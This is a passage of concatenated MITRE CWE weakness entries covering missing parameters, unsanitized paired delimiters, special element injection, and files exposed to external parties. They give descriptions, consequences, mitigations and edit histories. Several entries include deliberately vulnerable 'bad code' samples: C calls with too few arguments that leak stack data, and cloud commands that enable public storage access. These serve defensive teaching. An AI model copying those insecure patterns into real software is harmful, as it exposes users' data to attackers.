ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.233Improper Handling of Parameters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity

There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

Potentially a program could fail if it needs more arguments then are available.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
foo_funct(one, two);

void foo_funct(int one, int two, int three) {
printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
(bad code)
Example Language:
void some_function(int foo, ...) {
int a[3], i;
va_list ap;
va_start(ap, foo);
for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
va_end(ap);
}

int main(int argc, char *argv[]) {
some_function(17, 42);
}

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

+ Observed Examples
ReferenceDescription
Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field.
Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in.
Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers.
Web server allows disclosure of CGI source code via an HTTP request without the version number.
Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification.
Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor.
Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.
CGI crashes when called without any arguments.
CGI crashes when called without any arguments.
Crash in HTTP request without a Content-Length field.
Crash in HTTP request without a Content-Length field.
Empty elements/strings in protocol test suite affect many SSH2 servers/clients.
FTP server crashes in PORT command without an argument.
Resultant infoleak in web server via GET requests without HTTP/1.0 version string.
GET request with empty parameter leads to error message infoleak (path disclosure).
+ Potential Mitigations

Phase: Build and Compilation

This issue can be simply combated with the use of proper build process.

Phase: Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, Multiple Use

Rationale:

This CWE entry could be deprecated in a future version of CWE.

Comments:

See maintenance notes.
+ Notes

Maintenance

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Parameter Error
CLASPMissing parameter
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-03-09CWE Content TeamMITRE
added maintenance note: this entry will probably be deprecated
2009-03-10CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Parameter Error

CWE-157: Failure to Sanitize Paired Delimiters

Weakness ID: 157
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.
+ Extended Description

Paired delimiters might include:

  • < and > angle brackets
  • ( and ) parentheses
  • { and } braces
  • [ and ] square brackets
  • " " double quotes
  • ' ' single quotes
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Crash via missing paired delimiter (open double-quote but no closing double-quote).
Crash via message without closing ">".
Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.
+ Potential Mitigations
Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERGrouping Element / Paired Delimiter
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Grouping Element / Paired Delimiter

CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Weakness ID: 75
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not adequately filter user-controlled input for special elements with control implications.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.76Improper Neutralization of Equivalent Special Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Modify Application Data; Execute Unauthorized Code or Commands

+ Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter special element syntax from all input.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Potential Deprecation

Rationale:

This CWE entry might be under consideraton for deprecation, as it is not easily distinguishable from CWE-74.

Comments:

N/A
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSpecial Element Injection
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Special Element Injection

CWE-552: Files or Directories Accessible to External Parties

Weakness ID: 552
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product makes files or directories accessible to unauthorized actors, even though they should not be.
+ Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

In cloud technologies and containers, this weakness might present itself in the form of misconfigured storage accounts that can be read or written by a public or anonymous user.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.285Improper Authorization
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.219Storage of File with Sensitive Data Under Web Root
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.220Storage of File With Sensitive Data Under FTP Root
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.527Exposure of Version-Control Repository to an Unauthorized Control Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.528Exposure of Core Dump File to an Unauthorized Control Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.529Exposure of Access Control List Files to an Unauthorized Control Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.530Exposure of Backup File to an Unauthorized Control Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.539Use of Persistent Cookies Containing Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.553Command Shell in Externally Accessible Directory
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1212Authorization Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
OperationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Cloud Computing (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Demonstrative Examples

Example 1

The following Azure command updates the settings for a storage account:

(bad code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

(good code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false

Example 2

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

(informative)
Example Language: Shell 
gsutil iam get gs://BUCKET_NAME

Suppose the command returns the following result:

(bad code)
Example Language: JSON 
{
"bindings":[{
"members":[
"projectEditor: PROJECT-ID",
"projectOwner: PROJECT-ID"
],
"role":"roles/storage.legacyBucketOwner"
},
{
"members":[
"allUsers",
"projectViewer: PROJECT-ID"
],
"role":"roles/storage.legacyBucketReader"
}
]
}

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

(good code)
Example Language: Shell 
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
+ Observed Examples
ReferenceDescription
Data file under web root.
+ Potential Mitigations

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
CERT C Secure CodingFIO15-CEnsure that file operations are performed in a secure directory
+ References
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.7. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1327] Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". Section 5.1. 2022-03-31. <https://www.cisecurity.org/benchmark/google_cloud_computing_platform>. URL validated: 2023-04-24.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Relationships
2010-09-09Veracode
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2023-04-27CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, References, Relationships, Time_of_Introduction
